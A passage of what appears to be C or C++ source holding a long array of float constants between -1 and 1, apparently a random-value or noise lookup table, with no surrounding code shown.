0.251610679655279f, -0.0386445267248654f, 0.881542790650722f, -0.469258891944944f, -0.900544881246558f, -0.344978220866601f, -0.271404539202745f, 0.863631450621357f, 0.805892242474368f, -0.325004362330199f, -0.649692260224921f, 0.535815472185538f, 0.427767946389023f, 0.924517987543855f, 0.571059970962007f, 0.549923246060706f, -0.639468249016352,
0.307213071097954f, -0.885892976847170f, -0.526002656640427f, 0.733743042788359f, 0.186919211020217f, 0.322167483598106f, -0.933484010727969f, 0.307181642341518f, -0.391959805653480f, -0.892298105797306f, 0.100065710151584f, -0.932962740784651f, -0.643536993204857f, 0.200747180046148f, 0.310831344540979f, -0.923416823619512f, 0.440768799148345f, -0.666930667413366f, -0.485487251971431f, -0.0627811951952384f, -0.331082293469460f, 0.0335811939608148f, -0.653610782697787f, -0.320586426505716f, 0.559163070852115f, -0.497363452770543f, -0.329886484503569f, -0.146612217140156f, -0.0265272745798242f, -0.288663397675155f, -0.996138396801714f, 0.705746028666908f, 0.634215549629091f, 0.165248482682243f, -0.110791752682943f, -0.0583711657160508f, 0.704663932851230f, 0.105987046073574f, -0.674234600022039f, -0.852792911043127f, 0.779458558047699f, -0.506163961277651f, 0.661431789813829f, 0.362986600662932f, 0.677673397902417f, 0.909704544299484f, -0.678129611146149f, -0.700854916363125f, -0.954905799366644f, 0.819329178422143f, -0.278866438326573f, 0.240572863896085f, -0.597973444252616f, 0.520707363092687f, -0.891796539359942f, -0.0707113684027092f, 0.730270237241197f, -0.202809887987925f, 0.712903235793333f, 0.815918058519912f, -0.619284883130692f, 0.620432327799984f, 0.215462902206797f, 0.913706499476201f, -0.284266999538807f, 0.137669223817851f, -0.320599930994154f, -0.279885143029947f, 0.0759863610502050f, 0.362519848337183f, 0.0897184432777523f, 0.730407126330006f, -0.715664883515070f, -0.964294244830797f, 0.337668374417089f, 0.563780948124681f, 0.534272089774928f, 0.670003495251274f, 0.976582736706313f, -0.576021162432801f, 0.318863740329612f, 0.374838616807691f, 0.437628782275460f, 0.629331465907672f, 0.800673318445353f, -0.964950925853698f, -0.115288102568929f, 0.581179798077059f, 0.892103220665649f, -0.224009831257430f, -0.486848659265476f, 0.768601825625188f, -0.478996958061453f, 0.987216084861456f, -0.00828256241998737f, 0.443388113322642f, -0.209225960405120f, 0.784392408672073f, -0.821157008960409f, 0.169088259578466f, 0.188648958653604f, 0.796321723736402f, 0.804915614204973f, -0.947435972579018f, -0.320368366702004f, -0.0857043727442930f, -0.229914128505395f, -0.802013870592427f, 0.497444368231634f, 0.791040716463223f, 0.586369970276563f, 0.871236424247704f, 0.770091868124107f, -0.458396647683594f, 0.871149873224889f, 0.753895449519495f, 0.295832468734546f, 0.574616471536691f, 0.384408809311353f, -0.978021020306570f, 0.0397482936794495f, 0.628095200786834f, -0.968059492217325f, -0.404306711220928f, 0.659301030460980f, -0.345766174675525f, -0.0517956907600681f, -0.640289082986305f, 0.965202733073502f, 0.909703156044274f, -0.744545066259015f, -0.676836498528477f, 0.0507393165493961f, 0.394673166210436f, 0.250366706754377f, -0.287411651947684f, -0.521760552601739f, 0.214487178617345f, -0.922260536787078f, -0.970217444063294f, -0.632705652784150f, -0.720016326822300f, -0.506393579710801f, 0.774172771450182f, 0.891546338793249f, 0.559706491124446f, -0.513481979527671f, 0.735727350850420f, -0.207760672132971f, 0.956672164225499f, -0.516696999265124f, -0.846015525317730f, -0.199370940530009f, 0.927580907007946f, 0.669786891276299f, -0.208316500739886f, -0.349932032863852f, 0.382722440637189f, -0.455635180187178f, -0.573852668753046f, 0.237990995216907f, -0.00210628303929439f, 0.846035951941252f, 0.921932267818374f, 0.141873820779935f, 0.871317167610738f, -0.632607355185838f, -0.565801401210940f, -0.959881482283947f, -0.732559764685905f, -0.655277252471118f, 0.136770193226314f, 0.206392768880907f, 0.0946932052352707f, -0.147722827344946f, 0.142504821799194f, -0.891443939735724f, -0.660161817562772f, -0.918683225740157f, 0.524851053279394f, -0.841532325411647f, -0.662931925252737f, 0.450018807591706f, 0.157794014139767f, -0.562525486647545f, 0.604051451992330f, 0.859220943805127f, 0.943321402026900f, 0.511188518123118f, -0.332990520726740f, 0.904709059147998f, -0.336911302156504f, -0.0329301811082998f, 0.307263624236174f, -0.640655394434152f, 0.791676792853669f, 0.450137270831791f, 0.746000232170803f, -0.915436267533878f, 0.976514418439799f, 0.828073391112522f, 0.990695018409237f, 0.419713963781614f, -0.286897378037841f, 0.111527193084439f, -0.956913449095442f, 0.263769440437253f, 0.534739246489713f, -0.918314908283506f, 0.680501951418845f, -0.0258330390798596f, -0.696521999550769f, 0.274590593565720f, -0.821334538131451f, 0.104139627465949f, -0.790104923997319f, 0.399265830301725f, 0.118854169469537f, 0.309552488812324f, -0.961100729890863f, -0.665645274594184f, -0.125767140532335f, 0.377154316156289f, -0.971986633153292f, -0.148225730575294f, -0.801072242848910f, 0.735673216754228f, 0.247753694178141f, 0.759093842520115f, -0.529946694334253f, 0.594235069164038f, -0.801015868726278f, 0.141962211231124f, 0.135473683510959f, -0.0431660672944612f, -0.437176231417910f, 0.467008031415084f, 0.324675317141816f, 0.122578305547357f, -0.0351479470228342f, -0.437236315511244f, -0.822621846670407f, 0.989461679354308f, -0.242059902390237f, 0.800837521050356f, -0.387832478851607f, 0.316362161826139f, 0.602440060427024f, 0.890992007298149f, 0.319686042477150f, 0.930326885903916f, -0.170779817104763f, -0.437602177375177f, 0.835764105962134f, 0.522922752459604f, 0.295156847627349f, -0.857646277751538f, -0.451421990712551f, 0.752856133268497f, -0.826193868550830f, -0.906961130052697f, 0.118621494342013f, -0.627099634988204f, 0.163256363060383f, -0.719362770410877f, -0.576563943780491f, -0.369939711177846f, -0.294180430088591f, 0.868430622614485f, 0.945955651201780f, -0.879259966782947f, 0.376142233233261f, -0.549019623646418f, -0.366403875933169f, -0.631308623984507f, -0.398270064613022f, 0.631780765950599f, -0.497821177556814f, -0.0754938097555216f, 0.358298259390762f, -0.438971283619577f, -0.835962846436280f, 0.771544885338102f, 0.132031497593111f, 0.0964144932127649f, -0.171144812197942f, 0.734241841669664f, 0.773828279651661f, 0.591442573315395f, 0.449840299498767f, -0.249196666141921f, 0.910274822633449f, -0.623687862912847f, -0.954398427932048f, 0.700975370671540f, -0.128268698036002f, 0.723971772247224f, -0.239872317271662f, 0.599101633280873f, 0.323504979356466f, 0.726076237951951f, 0.775013638477775f, -0.736157118505210f, 0.681129332563739f, -0.989456914597076f, -0.860559243921100f, -0.652547050354339f, 0.227533741410917f, 0.263244425371628f, -0.412800042549063f, -0.774547399227093f, 0.959749220773555f, 0.0285018454625012f, 0.0260964660594436f, -0.817249773797516f, -0.275510098931589f, -0.957071090655421f, 0.755874233806472f, 0.0601247360044190f, 0.155148678178749f, 0.744458452388040f, 0.206143083045583f, 0.405575258734775f, 0.591273066531951f, -0.286358679634110f, 0.168522523380964f, -0.0740663582251186f, 0.991796969736415f, 0.00304472789286958f, 0.0955103281360055f, 0.595292305224677f, -0.633460800851610f, 0.969720344590438f, -0.788939516987962f, -0.690852963213444f, -0.751849610482179f, -0.454105756229298f, 0.527652178438853f, -0.249156091787771f, -0.395486634371019f, -0.586329259469701f, 0.774216673365643f, 0.000796185912973479f, 0.753872935709907f, 0.691883261316931f, -0.599798140130743f, 0.140718954973018f, 0.400016581571111f, -0.412934563119652f, 0.782683275869451f, -0.837415681080234f, 0.503344297140354f, 0.443222186121185f, -0.869067764953740f, 0.891507832007671f, -0.258782538717313f, -0.592111951047753f, 0.542828422857983f, -0.959476625230936f, -0.373353196174649f, 0.558975637763876f, 0.848608638566440f, -0.861701716955403f, -0.937645215971517f, 0.0456695238513540f, -0.643462752057364f, -0.194887894642735f, 0.576940690214110f, -0.889414400002951f, -0.120401270393403f, 0.581976128201341f, -0.914549817300516f, 0.619675229253819f, -0.446355411157033f, -0.686510097388917f, 0.199022704414501f, 0.0679083509214176f, 0.939286059873160f, 0.919854436895475f, -0.921420499961796f, -0.933865152326639f, -0.173428453947994f, 0.0481843697148709f, 0.282408667923603f, 0.411093542307595f, 0.332739798472214f, -0.539048264159821f, -0.704491312083244f, -0.502163632960363f, 0.955228344617550f, 0.620064399129425f, -0.470222569036376f, 0.754614931250763f, -0.616308595262807f, -0.914574682979899f, 0.624066330640082f, 0.836911269770582f, 0.913639510454430f, 0.653228461676548f, -0.269928008555249f, 0.313006679186127f, 0.984676487220296f, -0.492012769698267f, 0.956868299674771f, 0.291679581317590f, 0.0391808383867289f, 0.572884371819903f, 0.0424011452585180f, 0.955486550514640f, -0.402317209279260f, -0.606465037288902f, 0.547296561663929f, -0.262634118959448f, -0.555413611714328f, -0.328781770154915f, 0.145794994289916f, 0.141260540582646f, -0.451655981927315f, 0.305553535897825f, 0.828724940454557f, 0.263943455052409f, -0.609183422737396f, 0.691170220321907f, -0.372701931956834f, 0.750237424665146f, -0.249353280856890f, 0.379870697565802f, 0.385751069018950f, -0.515117494253264f, 0.716937491491901f, 0.343749563024118f, -0.462962268225808f, -0.542579750084113f, 0.865163879545508f, 0.348358741505572f, -0.309602240547849f, -0.0504864877295679f, -0.822856269672862f, 0.199343960697129f, -0.790668167630170f, -0.0910655952543342f, -0.0243531696455832f, 0.832501734319368f, 0.604933598167068f, 0.899053047900036f, 0.270668041381131f, 0.523691409964688f, -0.0841567002292820f, -0.844392287920523f, -0.910987838261586f, -0.470654231510287f, -0.103828495683496f, 0.253788695977573f, -0.103172947809401f, -0.339896741661867f, -0.447251997825083f, 0.217200476817515f, -0.474840886373359f, 0.227876267254650f, -0.851351819181938f, -0.902078585170911f, 0.445464427415683f, -0.842484493463611f, -0.141606736723087f, 0.104224619207891f, -0.554900879859470f, 0.818556374444811f, -0.832710463532413f, -0.284760316465868f, 0.697962734672817f, 0.235137001970259f, 0.538298155374871f, -0.598477541924834f, -0.833959821954974f, -0.164556670763502f, -0.443902305525605f, 0.484290717235912f, 0.319356252041167f, 0.0834544406255109f, -0.839174383593280f, -0.514784811627172f, 0.466424623987191f, 0.597641402168886f, -0.344706573843316f, 0.346954604803744f, 0.150560726232471f, -0.963838773301094f, -0.210406119881130f, 0.740751216241446f, -0.519896828058978f, 0.882277568799242f, 0.982734995306564f, -0.691486807580351f, -0.120653164608028f, 0.263039860106709f, -0.472131671311566f, -0.469155525952548f, -0.562705921604020f, -0.737502946123759f, 0.151863404645485,
-0.367233093688652f, 0.149585386378220f, -0.152980596399920f, 0.572826412281344f, -0.498718037086228f, -0.0794332639424211f, 0.659760386972575f, -0.574814983564964f, 0.451329484188896f, 0.473066930128670f, -0.135151886005125f, 0.379571405476121f, -0.308712078323501f, -0.136843563834117f, 0.395667583713552f, 0.196238140324408f, 0.588147058383512f, 0.770505301611929f, -0.865188840370228f, 0.266437694165002f, -0.428134513764013f, 0.661967260527446f, -0.752421375452379f, -0.556389852423621f, 0.424944298468302f, -0.480554454112605f, 0.916159659428765f, -0.112147362457396f, 0.363475545209813f, 0.698805683596358f, -0.862382341730295f, -0.489415523853276f, 0.453056404353730f, -0.606183761884457f, -0.00869682692408680f, -0.288739722701460f, 0.487988005841341f, 0.566870040344668f, 0.0894575138005909f, 0.887832293799319f, -0.0981274237649674f, -0.279935090781560f, 0.506891141525948f, 0.952901245338457f, 0.458002767525373f, -0.569410776125351f, 0.849518291873527f, -0.585020953514368f, 0.676037258640625f, 0.299076264841081f, 0.911385441491479f, -0.954959555659035f, -0.681285607891366f, 0.631368118385947f, 0.522268523899537f, 0.900701101674748f, -0.647701850365577f, 0.567960815808216f, -0.138958982219446f, 0.267024801687456f, -0.975771109955874f, 0.314682157086949f, -0.378801381286130f, 0.665990927256163f, -0.573674360032848f, -0.860450785684384f, 0.516581474078532f, -0.190844183471714f, -0.451971355445856f, -0.808113003973650f, 0.860446168028895f, 0.377778958059242f, 0.126949039950121f, -0.892203650250330f, 0.572503460980517f, 0.975224974978800f, -0.202312370945465f, 0.500665599343084f, -0.0510413720986291f, 0.353231752436633f, -0.805555931906752f, -0.199761377956955f, -0.829487282239605f, 0.0282459088867508f, 0.814545057118991f, 0.557652277921578f, 0.613951716518862f, -0.678811366342345f, 0.896500288318877f, -0.627622562398925f, 0.802545092571611f, 0.211382709497062f, -0.979380222642662f, 0.826784411456488f, -0.670689878657734f, 0.788878029765924f, 0.137070906151783f, 0.901907287859132f, -0.526217367070263f, -0.545043827128876f, 0.494756249972086f, 0.236657948774128f, 0.156603327087660f, 0.516397244064118f, -0.325837179590292f, 0.460683385171580f, -0.196022953760504f, -0.441996357332195f, -0.808932369852494f, 0.291980108741838f, -0.833583979826152f, 0.365574438479475f, -0.797139524158001f, -0.0649288183732912f, -0.000696491493834994f, 0.100125393693922f, 0.598035350719377f, -0.312548404453564f, 0.0414605409182345f, -0.675913083156432f, 0.236245026389435f, 0.550464243484224f, 0.193366907856750f, -0.903654015709839f, -0.00993172527377806f, 0.0180900754210873f, 0.880678290110106f, 0.166539520562349f, -0.984509466189118f, 0.810283124477894f, -0.925371921448173f, 0.193528916069728f, -0.748644561903135f, 0.534508666819454f, 0.364436869280188f, -0.386979667637943f, 0.427958998441480f, 0.362750270039032f, 0.420886957715891f, 0.0300301961707390f, -0.655220626875711f, 0.0504522662127427f, 0.472640818703213f, -0.417745816013639f, 0.0689992794158720f, 0.461232479061866f, -0.483517586427718f, -0.411463769964024f, 0.622740736364726f, 0.659687134578680f, 0.243900134982579f, -0.684356227282321f, -0.688699031115733f, -0.316032121634021f, -0.644296362948831f, -0.236133265458216f, 0.880259454885881f, -0.956880609581177f, 0.737775899964131f, -0.529059297472703f, 0.794119601436042f, -0.375698158660466f, 0.493447663117292f, -0.752511119115434f, -0.941143365329844f, 0.610101048864035f, 0.253791011658991f, -0.369994602049336f, -0.697364270085742f, -0.681360550250048f, -0.571943442128960f, -0.749697324128684f, 0.611997629275096f, 0.892727938106141f, -0.440225399106758f, 0.00196047981855352f, 0.951252158369648f, 0.0351885308766962f, -0.471806546113710f, -0.657231535594911f, -0.0873481442406481f, -0.0341288006282565f, 0.579184398564974f, -0.224334624306026f, -0.298557652719061f, -0.509401519638379f, 0.188853505083675f, -0.321619146497229f, -0.613159956450671f, 0.570042044631281f, 0.699213203307007f, 0.537439231469861f, 0.529440733283839f, -0.744527226912905f, 0.362949055807175f, 0.529758698714545f, -0.114804719889245f, 0.991089489396930f, -0.186716454683287f, -0.218189173574106f, -0.0493780858124198f, -0.928812411399224f, -0.101855573638590f, 0.454268528366586f, 0.617591620012079f, -0.197519518988231f, 0.0973277590468935f, -0.185672509894105f, 0.649922648337967f, -0.896862900376972f, 0.594999589349510f, -0.746978997769556f, 0.590642952628647f, 0.935109901616311f, -0.293310684054096f, 0.783281817912060f, -0.189898897214222f, 0.414859016240278f, -0.0858574647662298f, 0.0810260863380805f, -0.633024441577653f, 0.248442861097829f, 0.984586601784679f, 0.982811638387854f, 0.547456083836220f, 0.476239638753291f, -0.897709902882279f, -0.208045489357872f, -0.860637131636973f, -0.496740558564284f, -0.944185351410090f, 0.157610983944341f, 0.975214099838643f, 0.550265718083095f, -0.630360326400067f, 0.672420341653334f, -0.897139264107564f, -0.670556423663785f, 0.298764071000339f, -0.310465384759529f, -0.978153640586955f, 0.189785151994709f, 0.929291975296760f, 0.758271912876084f, 0.806829662560108f, -0.472787451147715f, -0.802032434276146f, 0.455809631085663f, 0.985520713417984f, 0.739637167649794f, 0.311705106454777f, -0.120539152808323f, 0.977785717545631f, -0.848554870988208f, -0.281179241544089f, 0.931102239520177f, -0.255243432382956f, -0.284952242030900f, -0.189341152192864f, 0.647573166562597f, -0.474203015584843f, -0.545915610099538f, 0.672696420688916f, -0.239274489717776f, 0.956544960216021f, -0.0858024073600807f, -0.758223415922611f, -0.00817763648068581f, -0.500893489164054f, -0.669386983409311f, -0.344450617815217f, -0.728051392792875f, 0.804121117816188f, 0.00718436691280910f, 0.195237363230272f, -0.472485206728796f, 0.642070241911164f, -0.272384993247314f, -0.731715323915071f, -0.791266589031733f, 0.0339783427570857f, 0.0696513783219659f, -0.894169486972683f, 0.00234016305501483f, -0.0403382685361653f, -0.943600572111266f, -0.788181603936192f, 0.851406365407377f, -0.100015982664501f, 0.145502229793638f, -0.528736628076536f, -0.0313760382570432f, -0.662221611141088f, -0.885722031379862f, -0.744257140212482f, 0.524976313116033f, 0.186092035304635f, 0.181669793648209f, -0.606482674165339f, 0.849303544554227f, 0.226118051135263f, -0.690025550727719f, -0.256543384397548f, -0.207714017766381f, -0.447913202664626f, 0.375270273897879f, -0.884312586292038f, -0.0838720085819762f, 0.969898436757285f, -0.736808033249456f, 0.668875150485586f, -0.599937439969920f, 0.470077288925414f, 0.903135367105719f, -0.895619185450694f, -0.637694108244489f, 0.572669535020987f, -0.696211470281632f, -0.820577518545193f, 0.937364674938455f, 0.422458818039761f, -0.593964370461091f, -0.586264791612426f, 0.0282373486927521f, 0.298051147134121f, 0.592825359583763f, 0.716195674857467f, -0.684008410968338f, -0.167523841045924f, -0.370794208549223f, 0.768054740581884f, 0.997835641681024f, -0.366262133888883f, -0.523114034556271f, -0.457946740456489f, -0.530941146838744f, 0.298744841822404f, 0.390761228562591f, 0.0871171594445448f, 0.764002674223649f, 0.233966808661423f, -0.116573523634048f, 0.426118986433559f, -0.255934695328716f, 0.302314199650152f, -0.254971729124577f, -0.330865677738578f, -0.0840307537517577f, -0.711910586170446f, 0.622585361690409f, 0.367595248366733f, 0.422102667722561f, 0.269580206097961f, 0.707083822001774f, 0.625367208198523f, -0.729594790471199f, 0.708679674727951f, 0.00355767003560614f, 0.379158300246371f, -0.688791438249760f, 0.261637457245975f, 0.704008781391790f, -0.917586017594177f, 0.886443038824615f, -0.923559496787343f, 0.360365726214756f, 0.547058288460181f, -0.279853192856989f, -0.996331953899586f, -0.323735921605962f, -0.618788277975037f, 0.314597206161166f, 0.106380963133907f, -0.235044228453968f, 0.0406899091091886f, 0.687339428801573f, 0.344837805924860f, 0.123214914005620f, -0.735264225932133f, 0.0396243248944774f, 0.270602083588730f, -0.316104623194235f, 0.201800731173529f, -0.348987679395254f, 0.994312100135549f, -0.986073454140000f, -0.787571177818193f, 0.508460947811657f, -0.443663972776222f, 0.800303477136838f, 0.712158443474503f, 0.958364684407633f, -0.0512343510942759f, -0.391095518504938f, -0.291911155637644f, 0.721770656984705f, -0.163541232110535f, 0.0366644501980513f, 0.700853097239887f, -0.508089885354834f, -0.375072588159867f, 0.161585369564288f, 0.686325557438797f, -0.113188612544717f, 0.859354598908873f, -0.723198679696606f, 0.398879124170303f, 0.139357627051752f, 0.484780500073663f, -0.0437501438537016f, -0.868783676783105f, -0.147865612288567f, -0.116480069295514f, -0.986846049950927f, -0.859405305954576f, -0.631359938031082f, -0.0310065270390489f, -0.288382201791710f, -0.500960878568203f, -0.805633068309090f, -0.837604329816134f, 0.0325253228618525f, -0.538953832190091f, 0.913844038280417f, 0.681967460199437f, -0.656775429658090f, 0.922492558885196f, -0.689527254640680f, 0.688263898240070f, -0.225450858342925f, 0.0287239965989763f, -0.407744573364816f, -0.477326718671529f, -0.780374037627418f, 0.500400378743065f, -0.532646941279704f, 0.999679272201893f, 0.136003002234441f, -0.811267727922649f, -0.585019862511894f, 0.125465493193590f, 0.203160759437510f, -0.101322607820275f, 0.543784310894398f, 0.630139383695983f, 0.775322422120693f, 0.229262447827729f, -0.656821799421711f, 0.795940998463793f, 0.263281283116320f, -0.377237794697631f, -0.714267543277316f, -0.161924029976839f, 0.804294011825499f, -0.500488029613262f, 0.716655543045374f, -0.709565530287520f, -0.260746944768714f, -0.496886497176178f, -0.896154699339640f, -0.891352204187934f, 0.0589172685048254f, -0.952496908556348f, -0.543314015084183f, 0.0724005345282401f, -0.132089156895576f, 0.694937364018361f, -0.884509342587775f, -0.944587795707932f, 0.346949362800262f, -0.587900264454839f, 0.531217960795664f, 0.404240620498887f, 0.182769547944683f, 0.804826966991636f, 0.601398794220406f, -0.767933817870427f, -0.329693990599177f, -0.880648189418561f, 0.0370834298504716f, -0.405270662847564f, -0.551993194163015f, 0.357335885219159f, -0.442910616174561f, -0.978355051725551f, -0.638907517841606f, 0.266841057307734f, 0.778698832906031f, -0.967180516636130f, -0.772940622039654f, -0.268706136695081f, -0.326082261974967f, 0.0386785617389067f, 0.576293286973562f, 0.446884000380730f, 0.396703264915684f, -0.718633572608705f, 0.586041202195072f, -0.791039546767268f, 0.556638124682382,
0.728711593864679f, -0.576551104247230f, 0.690227524206044f, 0.0451432373341216f, -0.0569690667958747f, 0.877674150343795f, -0.268602876493051f, -0.770720641807978f, 0.630269600593677f, 0.801702094819180f, 0.177071915997341f, -0.0764831522886398f, -0.476930347674815f, 0.0196833210809626f, -0.566188434097295f, 0.309890567123613f, -0.642682312350471f, -0.645839718540077f, -0.985031719881713f, 0.153028235575708f, -0.446724738384881f, -0.616280949001367f, -0.306418078463084f, 0.313048512921978f, 0.944732667717825f, -0.292311689238647f, 0.263616032352334f, 0.776777395064071f, -0.529182830991988f, -0.418996105801001f, 0.286960890623362f, 0.588336822287104f, 0.268219370126612f, -0.696727535489037f, 0.806089151192541f, 0.0396168299208206f, -0.613570658239778f, 0.358002315998429f, -0.0576147175733950f, -0.859664908314368f, 0.930793190364908f, -0.108955403960031f, 0.640347446939098f, 0.0301817512477458f, 0.508435547839785f, -0.774928250619894f, 0.254548271045827f, -0.192551571812315f, -0.401867317012389f, -0.136220787532581f, -0.480363308055205f, 0.146599399729624f, 0.225767301672040f, -0.207158678688912f, 0.763491487133281f, 0.161192803873192f, -0.574968151683314f, -0.454043408746924f, 0.427131132989065f, 0.170648543751820f, 0.0690597676805780f, 0.0360172652133248f, -0.244429817416531f, -0.973014074152018f, -0.172642279134011f, -0.798684796670922f, -0.622626145444778f, -0.743408670602069f, -0.316057396003030f, 0.908608689971065f, 0.948356574904685f, 0.573858539226522f, 0.457065605245418f, -0.246203048690671f, -0.750525340546383f, 0.612971646035183f, 0.951528788403619f, -0.529776510809815f, 0.0886901849846271f, -0.0254136796699882f, 0.978897595553096f, 0.293893753097695f, 0.620217642132267f, 0.862352989549627f, -0.379040515436326f, 0.790157871471479f, 0.147151952442201f, 0.688271487774812f, -0.897847532497188f, -0.0355337105008888f, -0.850253422176695f, -0.0354384862653523f, -0.625796807949394f, 0.851730076897135f, 0.294773618291289f, 0.834287219330433f, 0.0758749738551283f, 0.912613321307355f, -0.326698079590551f, -0.844748577890143f, -0.685263599922107f, -0.197029963909655f, 0.591416614029013f, -0.130921826828109f, -0.524292687689084f, 0.356220524225632f, -0.150091552835503f, -0.935232109847821f, -0.302103008478127f, -0.998557516519010f, -0.477012685701094f, -0.882343341754284f, 0.210797034143964f, -0.963566378978947f, -0.855600913755685f, -0.790231379847513f, -0.625235937382084f, 0.106405105589857f, -0.760544427202586f, 0.0103124858505332f, -0.610157345750845f, 0.968354521575116f, 0.602472069136318f, -0.216458111191680f, 0.935180184275450f, -0.369261245032360f, -0.289325139062185f, -0.772389696964545f, -0.345513639348744f, 0.135539262008296f, -0.747409495863324f, -0.849724942811800f, -0.739393030129744f, -0.0301380087411172f, 0.373808817820448f, 0.760444548005323f, -0.365739960428504f, 0.121859476627292f, -0.719257541809299f, -0.136914676340304f, -0.178479405732130f, -0.336676444507223f, -0.795056125367297f, -0.0872862684496700f, -0.950510559362909f, -0.395266512078238f, 0.636773305385949f, -0.150667208767723f, 0.534401287220298f, -0.349371424663528f, -0.784729313810243f, -0.0510904599006878f, -0.938702345462904f, 0.616929636007953f, -0.228578318449040f, 0.239101663221907f, 0.0390879233281141f, -0.294705782740043f, -0.847928516841798f, -0.0480433695823821f, 0.487351505367245f, -0.820736333448301f, 0.128692585024021f, -0.305133215914817f, 0.344900079505924f, -0.764316168982242f, 0.717529584295197f, 0.655848670831377f, 0.479849611138232f, -0.107624564628078f, -0.345816374073252f, 0.0822414215758816f, -0.0120870567528208f, 0.475870901669481f, -0.00594923432583361f, 0.869227669945672f, -0.262862047504512f, 0.272430399676396f, -0.734262318791166f, 0.980593493214018f, 0.110413869658192f, -0.732486564250777f, 0.470756873196238f, 0.897133387901917f, -0.151953973158384f, -0.591296220619271f, -0.113167158942796f, -0.103020520738423f, 0.220384226627647f, -0.0570027879342681f, 0.0923157145066511f, -0.523010309215342f, 0.385053964060568f, -0.223938668105458f, -0.0566497019068211f, 0.636390081595965f, -0.753651530578004f, -0.765450358896516f, 0.790370075460245f, 0.622949415286967f, -0.0947634056426396f, 0.122381201893998f, -0.138573523511105f, -0.544298107235542f, 0.535416341314523f, -0.341107295330707f, 0.266262786345860f, 0.620108481133049f, 0.190424987800150f, 0.978559599202704f, -0.925772919482004f, -0.300038300695816f, 0.963372836978511f, -0.501235224357981f, 0.828375446308031f, -0.595716120481773f, -0.889271354193173f, -0.389843123593065f, 0.659433696092409f, -0.633476165557619f, -0.708607689555741f, -0.737738480460783f, 0.985245299432648f, 0.976853985813928f, -0.863072444190232f, -0.785830171723126f, 0.309433061520758f, 0.166813366328975f, -0.552916412621405f, 0.0385101740167735f, 0.445866961855263f, 0.222557362424800f, 0.0710515871571971f, -0.368563489700928f, 0.317406114361191f, 0.326902000037272f, 0.868261309598320f, -0.897838476369198f, 0.664364291232529f, -0.373333343843574f, -0.599809263387549f, -0.411236387818613f, -0.118186587264933f, 0.544960929851182f, 0.395925813072269f, 0.337332244255533f, -0.0195528742963547f, -0.580383437020279f, 0.0779554182143842f, -0.902635825594202f, -0.821554429188969f, 0.869996816042779f, 0.646142135585380f, -0.0824693320525758f, 0.643317857725100f, -0.903892480205129f, -0.457595546004975f, 0.540461917564665f, -0.467530238695992f, 0.107497588388074f, -0.122360487746121f, -0.276968072230331f, -0.436413500733568f, 0.0719555518906898f, -0.794937479672675f, -0.641344733876686f, -0.934734152781945f, -0.0610463967348016f, -0.302623058375597f, 0.281116298309257f, 0.557459622053789f, -0.350054779110337f, 0.681853624031498f, -0.0454067482892435f, -0.897204174835461f, 0.0289327275291300f, 0.664312739864751f, -0.368814604980581f, -0.576946854776660f, -0.187886132141311f, 0.424385580259236f, 0.257994303715228f, -0.567650112011742f, -0.0453371545575014f, -0.362909825264387f, 0.450095578912812f, -0.713870209574945f, -0.956583539581944f, -0.969891699048729f, -0.417755773448598f, -0.230738535348142f, -0.153353095644968f, 0.539368458440622f, 0.591116036659417f, 0.779095541288385f, -0.578525766017613f, -0.587777137316663f, -0.301051260910212f, -0.319655538885669f, -0.343495369437935f, 0.908167583226333f, 0.764220052027033f, 0.0536418758245909f, -0.0529753241803754f, 0.249066042857931f, -0.840152142252005f, -0.529971459254312f, -0.449462194610696f, 0.467144819001113f, -0.500103828192601f, -0.758390449663076f, 0.369740436821770f, 0.189153926151852f, -0.188283227959439f, -0.427563759945909f, -0.186773725840825f, -0.00989853573399446f, -0.783648829817413f, -0.626450875837851f, -0.328015817185970f, 0.760383401930071f, -0.00804531008117837f, -0.982799468341000f, 0.392730506677802f, 0.117799138097530f, 0.351088974844522f, -0.259750164530173f, 0.776495358243216f, -0.703059519879109f, -0.362866233240751f, -0.421345310205860f, -0.818968876330675f, 0.936887497269786f, 0.713300632813635f, 0.916608801523944f, -0.147818975792564f, 0.317064988534009f, 0.885779227314381f, -0.897706599297367f, 0.685423132064732f, 0.907830438936990f, 0.0636614655685575f, -0.423018627861747f, 0.411565657893159f, 0.911060408474647f, -0.617833142759668f, -0.709543522964145f, -0.817633731247023f, -0.252433983274424f, 0.160456393103956f, -0.160765428576997f, -0.622001061437904f, -0.470257555319641f, 0.790643274059634f, -0.648181378655916f, -0.828694900506363f, -0.0234091767546987f, -0.562865077760768f, 0.369299949506391f, -0.423850142805423f, 0.520699811923658f, -0.877662359466779f, -0.739844704434180f, 0.300520939787139f, 0.0655718600121620f, 0.970843358712180f, -0.634231195336845f, 0.324880041395596f, -0.479089635857354f, -0.196422753715449f, 0.568762754402869f, 0.699215376070842f, 0.445741923102597f, 0.679868900756090f, 0.107609859752086f, -0.980983474461865f, -0.788419140653730f, 0.0696289436185713f, 0.00330944186568516f, 0.392265626672398f, 0.803469542460994f, 0.131029913648810f, -0.845408454497170f, -0.754797811352229f, -0.824208086798235f, 0.510072775586974f, -0.809491727769575f, -0.0228491196350333f, 0.920014947791232f, 0.441066319826495f, 0.969846842038360f, -0.199024726691046f, 0.886564290041856f, 0.203997575245743f, 0.481547443573126f, -0.637742489331117f, 0.0664642070998316f, 0.109187062068770f, -0.952676759642045f, 0.309247049771982f, 0.880534651306060f, -0.269363005485603f, 0.280012695899358f, 0.853031642671923f, -0.216236966392235f, 0.903180305900435f, 0.837949615815047f, 0.748563816043584f, 0.266735542018788f, -0.685176037557414f, 0.505893787666761f, 0.977721983069541f, -0.667151469253569f, -0.451774081267849f, -0.385755850727233f, 0.681037251596535f, 0.550130384863457f, 0.704080312734731f, 0.519624533199220f, 0.789651392050294f, 0.176325856625025f, 0.684011432098839f, -0.469125761119035f, -0.841814129063957f, -0.901473334652527f, -0.117747872709914f, -0.608533033968273f, 0.199709646080986f, -0.349430401438670f, -0.435162733168206f, -0.368150014673779f, 0.699084004342174f, -0.446068942643995f, 0.197420740774886f, 0.524893584115327f, 0.706475758890142f, 0.912020785879679f, -0.820472223153770f, -0.334742316079635f, -0.851724976994477f, -0.702164662784812f, -0.649654462810552f, 0.411435475616403f, -0.0438368033650360f, 0.799231452421757f, 0.713371883779316f, 0.252437083518609f, -0.685658163265283f, 0.0734649179831324f, -0.400549431226783f, -0.415602545578540f, 0.233864615718965f, 0.828846528739923f, 0.606577491175688f, -0.266016048272811f, -0.619106744484090f, -0.690853262778644f, -0.503499724631377f, -0.409761822901473f, 0.0576293548519007f, 0.551582021066584f, 0.132631452787255f, -0.838228405334512f, -0.107475742619267f, -0.875306852866273f, -0.184700469068763f, -0.317074087896838f, -0.580912620700556f, 0.453916157844897f, 